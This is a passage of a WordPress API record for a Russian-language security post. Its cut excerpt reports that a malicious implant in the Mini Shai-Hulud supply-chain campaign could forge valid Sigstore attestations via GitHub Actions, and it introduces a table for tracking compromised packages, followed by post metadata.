\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\u042d\u0442\u043e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0432 GitHub Actions, \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0435 Sigstore-\u0430\u0442\u0442\u0435\u0441\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432.\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u043e\u043b\u043d\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 Mini Shai-Hulud. \u0421\u043f\u0438\u0441\u043e\u043a&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-479394","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/479394","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=479394"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/479394\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=479394"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=479394"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=479394"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}